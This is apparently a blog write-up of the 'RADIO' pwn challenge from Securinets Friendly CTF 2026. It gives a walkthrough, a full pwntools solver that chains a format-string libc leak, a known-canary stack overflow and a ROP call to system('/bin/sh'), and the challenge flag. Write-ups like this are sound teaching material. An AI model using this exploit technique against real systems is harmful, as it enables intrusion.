archlinux / r3t0x@portfolio
ALL SYSTEMS NOMINAL /
← Back to archive · Pwn

Securinets Friendly CTF 2026 / Pwn WRITEUP

RADIO

Rockstar says the signal is gone. CyberLeek disagrees.

EVENTSecurinets Friendly CTF 2026CATEGORYPwnDIFFICULTYmediumPOINTS500
format-stringret2libc

Walkthrough

Solution

The first input is used both as a decimal frequency and as a restricted format string. Brute-force the 16-bit frequency whose route_tag equals 0x30db734f; that route receives the known eight-byte clearance value jiggly!!. Append %41$p to the decimal frequency so the route still parses while the format string leaks the supplied puts pointer, then recover the libc base.

The selected channel accepts an overflowing transmission. Send 16 padding bytes, the known clearance in the canary slot, 16 more padding bytes, and a libc ROP chain that calls system("/bin/sh").

Reference solver

The reference solver supplied with the writeup:

#!/usr/bin/env python3
from pwn import *

context.binary = ELF("./main", checksec=False)
context.log_level = "error"
libc = ELF("./libc.so.6", checksec=False)


def route_tag(number):
    number ^= number >> 16
    number = number * 0x7feb352d & 0xffffffff
    number ^= number >> 15
    number = number * 0x846ca68b & 0xffffffff
    number ^= number >> 16
    return number


frequency = 0
while route_tag(frequency) != 0x30db734f:
    frequency += 1

canary = b"jiggly!!"
route = f"{frequency} %41$p".encode()

p = process("./main") if args.LOCAL else remote("127.0.0.1", 9015)

p.sendlineafter(b"> ", route)
p.recvuntil(b"ENCRYPTED ROUTE ECHO:\n")
puts = int(p.recvline().split()[-1], 16)
libc.address = puts - libc.sym["puts"]

rop = ROP(libc)
pop_rdi = rop.find_gadget(["pop rdi", "ret"]).address
ret = rop.find_gadget(["ret"]).address
bin_sh = next(libc.search(b"/bin/sh\0"))

payload = flat(
    b"A" * 16,
    canary,
    b"B" * 16,
    pop_rdi,
    bin_sh,
    ret,
    libc.sym["system"],
)

p.sendlineafter(b"> ", payload)
sleep(0.2)
p.sendline(b"cat flag.txt")
p.recvuntil(b"Securinets{")
flag = b"Securinets{" + p.recvuntil(b"}")
print(flag.decode())
p.close()

Flag

Securinets{luc14s_j1ggl3_1s_20GB_0r_20480MB}
Published 2026-09-28 · by r3t0x← Back to archive · Pwn
0xSEARCH_INDEX

Trace a memory.

INDEX ONLINE0 addresses
↑↓ TRACEENTER OPENESC DISMISS